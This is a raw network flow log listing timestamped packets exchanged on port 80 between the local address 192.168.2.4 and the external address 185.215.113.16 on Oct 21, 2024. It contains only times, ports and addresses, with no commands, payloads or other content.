Oct 21, 2024 10:47:09.970172882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970200062 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970204115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970216036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970233917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970253944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970257998 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970267057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970278978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970289946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970299959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970360994 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970565081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970585108 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970597029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970606089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970616102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970627069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970628977 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970638037 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970642090 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970663071 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970678091 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970686913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970725060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970733881 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.970736980 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.970772982 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.971961975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.971980095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.971991062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972002029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972012997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972022057 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.972023964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972035885 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972042084 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.972048998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972060919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972060919 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.972073078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972076893 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.972104073 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.972126007 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.972954035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972965002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972976923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972986937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.972997904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.973001003 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.973010063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.973021984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.973031044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.973035097 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.973050117 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.973052979 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.973063946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.973077059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.973102093 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.974138975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974148989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974165916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974178076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974185944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974195004 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974206924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974215031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974225998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974236012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974246025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974257946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974361897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974373102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974456072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974466085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974477053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974488020 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974792004 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974802971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974814892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974858999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974878073 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974889994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974900007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974910975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974920988 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974932909 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.974944115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.975020885 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.975039959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.975052118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.975063086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.975075006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.975084066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.975799084 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.976120949 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.976154089 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.976171970 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.057374001 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.057387114 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.057485104 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.122037888 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.122047901 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.122131109 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124001026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124011040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124092102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124140024 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124150991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124162912 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124169111 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124181986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124192953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124201059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124223948 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124250889 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124330044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124450922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124460936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124505043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124516010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124525070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124552965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124578953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124645948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124656916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124667883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124677896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124790907 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124876976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124888897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124898911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.124929905 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.124944925 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125032902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125042915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125055075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125087976 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125102997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125113010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125124931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125138044 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125160933 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125175953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125200987 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125211954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125222921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125232935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125253916 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125284910 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125406981 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125417948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125442028 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125452042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125459909 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125463009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125477076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125492096 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125505924 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125576019 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.125987053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.125997066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126008034 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126018047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126041889 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.126061916 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.126065969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126077890 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126087904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126116037 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.126148939 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.126224041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126235008 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126245022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126286983 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.126462936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126475096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126485109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126507998 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.126527071 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.126791954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126842022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126915932 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.126949072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126959085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.126996994 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.127105951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127118111 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127126932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127159119 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.127185106 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.127259970 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127271891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127281904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127317905 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.127324104 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127334118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127347946 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.127398014 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.127440929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127451897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127485037 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.127784014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127795935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127805948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.127836943 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.127862930 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.128737926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.128804922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.128814936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.128834009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.128843069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.128859043 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.128895998 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.129554987 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129574060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129715919 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.129719019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129738092 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129749060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129760027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129771948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129781961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129791975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129801989 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.129801989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129815102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129825115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129831076 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.129844904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129856110 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129858017 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.129874945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129887104 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129897118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129898071 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.129909039 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129920959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129935026 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.129959106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.129971027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.129997969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.130014896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.130024910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.130093098 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.130354881 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.130374908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.130383968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.130408049 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.130438089 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.214111090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.214148998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.214159966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.214173079 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.214198112 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.277128935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.277179956 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.277293921 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.278702021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.278744936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.278820992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.279648066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.279659986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.279670954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.279702902 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.279736042 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.279767990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.279778957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.279789925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.279800892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.279831886 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.279855013 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.280569077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280580044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280591965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280610085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280622005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280627012 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.280635118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280638933 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.280649900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280664921 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.280711889 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.280742884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280754089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280764103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280774117 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280783892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280795097 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280806065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280816078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280827999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280838013 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280844927 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.280852079 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.280865908 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.280883074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.280905962 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.281860113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281871080 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281888962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281898022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281908035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281918049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281919003 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.281948090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281959057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281959057 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.281970024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281980991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.281990051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282001019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282011986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282041073 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.282062054 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.282135010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282146931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282156944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282192945 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.282202959 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.282268047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282288074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282299995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282310009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282321930 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.282322884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282347918 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.282418966 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.282764912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282776117 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282785892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:10.282823086 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:10.282847881 CEST	49855	80	192.168.2.4	185.215.113.16
